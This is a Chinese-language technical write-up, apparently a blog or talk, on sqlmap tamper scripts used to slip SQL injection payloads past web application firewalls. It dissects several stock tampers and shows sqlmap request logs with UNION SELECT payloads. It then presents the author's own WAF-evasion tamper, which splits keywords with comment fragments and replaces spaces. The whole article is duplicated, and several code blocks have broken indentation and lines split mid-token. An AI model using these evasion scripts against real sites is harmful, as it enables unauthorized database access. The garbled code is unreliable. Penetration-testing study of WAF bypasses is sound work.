sqlmap tamper

—— 分享人 Xp0int_pyz ——

简介

sqlpmap的tamper通过修改常规的payload以达到绕过waf的目的

tamper结构

随便打开查看一个tamper，查看其结构
`apostrophemask.py`

```
#!/usr/bin/env python


"""

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission

"""


from lib.core.enums import PRIORITY


__priority__ = PRIORITY.LOWEST


def dependencies():
    pass

def
tamper(payload, **kwargs):

"""

    Replaces apostrophe character with its UTF-8 full width counte
rpart


    References:

        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start
=65280&number=128

        * http://lukasz.pilorz.net/testy/unicode_conversion/

        * http://sla.ckers.org/forum/read.php?13,11562,11850

        * http://lukasz.pilorz.net/testy/full_width_utf/index.phps



    >>> tamper("1 AND '1'='1")

    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
```

```
"""

return payload.replace('\'', "%EF%BC%87") if payload else payload
```

发现其主要有**priority**、dependencies()、tamper三部分组成

priority

是用来设置tamper优先度高低的，在多个脚本时起作用
有7个级别，由低到高分别是

- LOWEST
- LOWER
- LOW
- NORMAL
- HIGH
- HIGHER
- HIGHEST
  其中LOWER没有在其中的52个tamper中找到，不过在 `sqlmap/lib/core/enum.py` 可以看到优先度的定义

```
class PRIORITY:

LOWEST = -100

LOWER = -50

LOW = -10

NORMAL = 0

HIGH = 10

HIGHER = 50

HIGHEST = 100
```

def dependecies（ ）

用来发出警告信息的，内容是提醒用户该脚本适用于数据库的类型
在 `vesionedkeyword.py` 中，

```
def dependencies():

    singleTimeWarnMessage("tamper script '%s' is only meant to be
run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.
MYSQL))
```

执行效果如下
`[WARNING] tamper script 'versionedkeywords' is only meant to be run against MySQL`

在 `sqlmap/lib/core/enum.py` DBMS的类定义

```
class DBMS:

ACCESS = "Microsoft Access"

DB2 = "IBM DB2"

FIREBIRD = "Firebird"

MAXDB = "SAP MaxDB"

MSSQL = "Microsoft SQL Server"

MYSQL = "MySQL"

ORACLE = "Oracle"

PGSQL = "PostgreSQL"

SQLITE = "SQLite"

SYBASE = "Sybase"

HSQLDB = "HSQLDB"

INFORMIX = "Informix"
```

从中可以学到各种数据库类型

def tamper(payload, **kwargs)

看到传进来两个参数，payload就是一个字符串，**kwargs是什么呢？
kwargs就是当你传入key=value是存储的字典。
举个栗子

```
def test(a,*args,**kwargs):
    print a
    #print b
    #print c
    print args
    print kwargs

test(1,2,3,d='4',e=5)
```

结果：

```
1
(2, 3)
{'e': 5, 'd': '4'}
```

1还是参数a的值，args表示剩余的值，kwargs在args之后表示成对键值对
52个tamper中，只有两个用到了该参数，分别是 `xforwardfor.py` 和 `varnish.py`
在 `xforwardfor.py` 中

```
def tamper(payload, **kwargs):

"""

Append a fake HTTP header 'X-Forwarded-For' to bypass
    WAF (usually application based) protection

"""


headers = kwargs.get("headers", {})

headers["X-Forwarded-For"] = randomIP()

return payload
```

该tamper将header中的XFF改为随机ip，执行效果如下(tips,-v 4可以看到发出的请求头)

```
[04:06:16] [PAYLOAD] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL-- KsHk
[04:06:16] [TRAFFIC OUT] HTTP request [#158]:
GET /?id=1%%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%
2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20KsHk HTTP/1.1
Host: 192.168.1.103
Accept-encoding: gzip,deflate
Cache-control: no-cache
X-forwarded-for: 148.247.31.134
Accept: */*
User-agent: sqlmap/1.1.5#stable (http://sqlmap.org)
Connection: close

[04:06:16] [PAYLOAD] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL-- TLsT
[04:06:16] [TRAFFIC OUT] HTTP request [#159]:
GET /?id=1%%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%
2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20TLsT HTTP/1.1
Host: 192.168.1.103
Accept-encoding: gzip,deflate
Cache-control: no-cache
X-forwarded-for: 33.201.173.148
Accept: */*
User-agent: sqlmap/1.1.5#stable (http://sqlmap.org)
Connection: close
```

重点来了！
对payload的处理

分析几个常见的tamper

```
def tamper(payload, **kwargs):

"""

Replaces space character (' ') with comments '/**/'


Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0


Notes:

* Useful to bypass weak and bespoke web application firewalls


>>> tamper('SELECT id FROM users')

'SELECT/**/id/**/FROM/**/users'

"""


retVal = payload


if payload:

    retVal = ""

    quote, doublequote, firstspace = False, False, False


    for i in xrange(len(payload)):

        if not firstspace:

            if payload[i].isspace():
                    firstspace = True

                    retVal += "/**/"

                    continue


                elif payload[i] == '\'':

                    quote = not quote


                elif payload[i] == '"':

                    doublequote = not doublequote


                elif payload[i] == " " and not doublequote and not quote:

                    retVal += "/**/"

                    continue


                retVal += payload[i]


        return retVal
```

可以看到上面使用了quote, doublequote, firstspace
为什么不直接转换呢？
因为面对 `1'or 1 =' 1` 的时候，我们需要的是将其转换成 `1'or/**/1/**/=' 1` ,而不是 `1'or/**/1/**/='/**/1` .
因为在拼接起来时， `select id='1'or/**/1/**/=' 1'` 是没问题的，而后者会出错，就是本来无错，使用tamper后反而出错了，这是不行的。

再看看 `nonrecursivereplacement.py`

```
def tamper(payload, **kwargs):

"""

Replaces predefined SQL keywords with representations

suitable for replacement (e.g. .replace("SELECT", "")) filters


Notes:

* Useful to bypass very weak custom filters


>>> random.seed(0)

>>> tamper('1 UNION SELECT 2--')

'1 UNIOUNIONN SELESELECTCT 2--'

"""


keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE"
)

retVal = payload


warnMsg = "currently only couple of keywords are being processed %
s. " % str(keywords)

warnMsg += "You can set it manually according to your needs"

singleTimeWarnMessage(warnMsg)


if payload:

    for keyword in keywords:

        _ = random.randint(1, len(keyword) - 1)

        retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keywo
rd[:_], keyword, keyword[_:]), retVal)
```

```
        return retVal
```

通过正则将keyword插入到keyword的随机位置

下面是我写出来的tamper，结合上面两种，并进行了一定的修改

```
#!/usr/bin/env python
import random
import re
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
space="/%&/" #it can be changed
word="\*/"
keywords=("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    #SE\*/LECT/%&/id/%&/FROM/%&/users

    retVal = payload
    if payload:
        payload=wordtamper(payload,keywords,1,99)
        #add you own require
        #payload=wordtamper(payload,keword,position,times)
        #payload=wordtamper(payload,("SELECT"),0,1)

        retVal=""
        quote, doublequote, firstspace = False, False, False
        for i in xrange(len(payload)):

            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += space
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quo
```

```
te:
                retVal += space
                continue

            retVal += payload[i]
    return retVal

def wordtamper(payload,keywords,position,times):

    p=[-1]*100
    if payload:
        for keyword in keywords:
            for i in range(0,position):
                p[i+1]=payload.find(keyword,p[i]+1)
            if(p[position]!=-1):
                retVal = ""
                payload1=""
                for i in range(0,p[position]):
                    retVal+=payload[i]
                for i in range(p[position],len(payload)):
                    payload1+=payload[i]
                _ = random.randint(1, len(keyword) - 1)
                payload1 = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s
" % (keyword[:_], word, keyword[_:]), payload1,times)
                retVal+=payload1
            else:
                retVal=payload
            payload=retVal
    return retVal
```

以下是执行的payload

```
[PAYLOAD] 1%'/%&/UN\*/ION/%&/ALL/%&/SELEC\*/T/%&/NULL--/%&/gIQS
```

该tamper能自由控制第几个关键词要插入，什么关键词要插入

下次我将研究过滤了某些字符在xml中加入payload，使sqlmap更加强大。

参考：
http://blog.sina.com.cn/s/blog_65a8ab5d0101fglm.html

sqlmap tamper

简介

sqlpmap的tamper通过修改常规的payload以达到绕过waf的目的

tamper结构

随便打开查看一个tamper，查看其结构
`apostrophemask.py`

```
#!/usr/bin/env python


"""

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission

"""


from lib.core.enums import PRIORITY


__priority__ = PRIORITY.LOWEST


def dependencies():
    pass

def
tamper(payload, **kwargs):

"""

    Replaces apostrophe character with its UTF-8 full width counte
rpart


    References:

        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start
=65280&number=128

        * http://lukasz.pilorz.net/testy/unicode_conversion/

        * http://sla.ckers.org/forum/read.php?13,11562,11850

        * http://lukasz.pilorz.net/testy/full_width_utf/index.phps



    >>> tamper("1 AND '1'='1")

    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload
```

发现其主要有**priority**、dependencies()、tamper三部分组成

priority

是用来设置tamper优先度高低的，在多个脚本时起作用
有7个级别，由低到高分别是

- LOWEST
- LOWER
- LOW
- NORMAL
- HIGH
- HIGHER
- HIGHEST
  其中LOWER没有在其中的52个tamper中找到，不过在 `sqlmap/lib/core/enum.py` 可以看到优先度的定义

```
class PRIORITY:

LOWEST = -100

LOWER = -50

LOW = -10

NORMAL = 0

HIGH = 10

HIGHER = 50

HIGHEST = 100
```

def dependecies（ ）

用来发出警告信息的，内容是提醒用户该脚本适用于数据库的类型
在 `vesionedkeyword.py` 中，

```
def dependencies():

    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
```

执行效果如下
`[WARNING] tamper script 'versionedkeywords' is only meant to be run against MySQL`

在 `sqlmap/lib/core/enum.py` DBMS的类定义

```
class DBMS:

ACCESS = "Microsoft Access"

DB2 = "IBM DB2"

FIREBIRD = "Firebird"

MAXDB = "SAP MaxDB"

MSSQL = "Microsoft SQL Server"

MYSQL = "MySQL"

ORACLE = "Oracle"

PGSQL = "PostgreSQL"

SQLITE = "SQLite"

SYBASE = "Sybase"

HSQLDB = "HSQLDB"

INFORMIX = "Informix"
```

从中可以学到各种数据库类型

def tamper(payload, **kwargs)

看到传进来两个参数，payload就是一个字符串，**kwargs是什么呢？
kwargs就是当你传入key=value是存储的字典。
举个栗子

```
def test(a,*args,**kwargs):
    print a
    #print b
    #print c
    print args
    print kwargs

test(1,2,3,d='4',e=5)
```

结果：

```
1
(2, 3)
{'e': 5, 'd': '4'}
```

1还是参数a的值，args表示剩余的值，kwargs在args之后表示成对键值对
52个tamper中，只有两个用到了该参数，分别是 `xforwardfor.py` 和 `varnish.py`
在 `xforwardfor.py` 中

```
def tamper(payload, **kwargs):

"""

Append a fake HTTP header 'X-Forwarded-For' to bypass
    WAF (usually application based) protection

"""


headers = kwargs.get("headers", {})

headers["X-Forwarded-For"] = randomIP()

return payload
```

该tamper将header中的XFF改为随机ip，执行效果如下(tips,-v 4可以看到发出的请求头)

```
[04:06:16] [PAYLOAD] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL-- KsHk
[04:06:16] [TRAFFIC OUT] HTTP request [#158]:
GET /?id=1%%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%
2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20KsHk HTTP/1.1
Host: 192.168.1.103
Accept-encoding: gzip,deflate
Cache-control: no-cache
X-forwarded-for: 148.247.31.134
Accept: */*
User-agent: sqlmap/1.1.5#stable (http://sqlmap.org)
Connection: close

[04:06:16] [PAYLOAD] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL-- TLsT
[04:06:16] [TRAFFIC OUT] HTTP request [#159]:
GET /?id=1%%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%
2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20TLsT HTTP/1.1
Host: 192.168.1.103
Accept-encoding: gzip,deflate
Cache-control: no-cache
X-forwarded-for: 33.201.173.148
Accept: */*
User-agent: sqlmap/1.1.5#stable (http://sqlmap.org)
Connection: close
```

重点来了！
对payload的处理

分析几个常见的tamper

```
def tamper(payload, **kwargs):

"""

Replaces space character (' ') with comments '/**/'


Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0


Notes:

* Useful to bypass weak and bespoke web application firewalls


>>> tamper('SELECT id FROM users')

'SELECT/**/id/**/FROM/**/users'

"""


retVal = payload


if payload:

    retVal = ""

    quote, doublequote, firstspace = False, False, False


    for i in xrange(len(payload)):

        if not firstspace:

            if payload[i].isspace():
                firstspace = True

                retVal += "/**/"

                continue

            elif payload[i] == '\'':

                quote = not quote

            elif payload[i] == '"':

                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:

                retVal += "/**/"

                continue

            retVal += payload[i]

    return retVal
```

可以看到上面使用了quote, doublequote, firstspace
为什么不直接转换呢？
因为面对 `1'or 1 =' 1` 的时候，我们需要的是将其转换成 `1'or/**/1/**/=' 1` ,而不是 `1'or/**/1/**/='/**/1` .
因为在拼接起来时， `select id='1'or/**/1/**/=' 1'` 是没问题的，而后者会出错，就是本来无错，使用tamper后反而出错了，这是不行的。

再看看 `nonrecursivereplacement.py`

```
def tamper(payload, **kwargs):

"""

Replaces predefined SQL keywords with representations

suitable for replacement (e.g. .replace("SELECT", "")) filters


Notes:

* Useful to bypass very weak custom filters


>>> random.seed(0)

>>> tamper('1 UNION SELECT 2--')

'1 UNIOUNIONN SELESELECTCT 2--'

"""


keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE"
)

retVal = payload


warnMsg = "currently only couple of keywords are being processed %
s. " % str(keywords)

warnMsg += "You can set it manually according to your needs"

singleTimeWarnMessage(warnMsg)


if payload:

    for keyword in keywords:

        _ = random.randint(1, len(keyword) - 1)

        retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keywo
rd[:_], keyword, keyword[_:]), retVal)
```

```
        return retVal
```

通过正则将keyword插入到keyword的随机位置

下面是我写出来的tamper，结合上面两种，并进行了一定的修改

```
#!/usr/bin/env python
import random
import re
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
#!/usr/bin/env python
import random
import re
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
space="/%&/" #it can be changed
word="\*/"
keywords=("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    #SE\*/LECT/%&/id/%&/FROM/%&/users

    retVal = payload
    if payload:
        payload=wordtamper(payload,keywords,1,99)
        #add you own require
        #payload=wordtamper(payload,keword,position,times)
        #payload=wordtamper(payload,("SELECT"),0,1)

        retVal=""
        quote, doublequote, firstspace = False, False, False
        for i in xrange(len(payload)):

            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += space
                    continue
                elif payload[i] == '\'':
                    quote = not quote

                elif payload[i] == '"':
                    doublequote = not doublequote

                elif payload[i] == " " and not doublequote and not quo
te:
                    retVal += space
                    continue

                retVal += payload[i]
        return retVal

def wordtamper(payload,keywords,position,times):

        p=[-1]*100
        if payload:
            for keyword in keywords:
                for i in range(0,position):
                    p[i+1]=payload.find(keyword,p[i]+1)
                if(p[position]!=-1):
                    retVal = ""
                    payload1=""
                    for i in range(0,p[position]):
                        retVal+=payload[i]
                    for i in range(p[position],len(payload)):
                        payload1+=payload[i]
                    _ = random.randint(1, len(keyword) - 1)
                    payload1 = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s
" % (keyword[:_], word, keyword[_:]), payload1,times)
                    retVal+=payload1
                else:
                    retVal=payload
                payload=retVal
        return retVal
```

以下是执行的payload

```
[PAYLOAD] 1%'/%&/UN\*/ION/%&/ALL/%&/SELEC\*/T/%&/NULL--/%&/gIQS
```

该tamper能自由控制第几个关键词要插入，什么关键词要插入
编写tamper

下次我将研究过滤了某些字符后的payload如何加入到xml中，使sqlmap更加强大

参考：
http://blog.sina.com.cn/s/blog_65a8ab5d0101fglm.html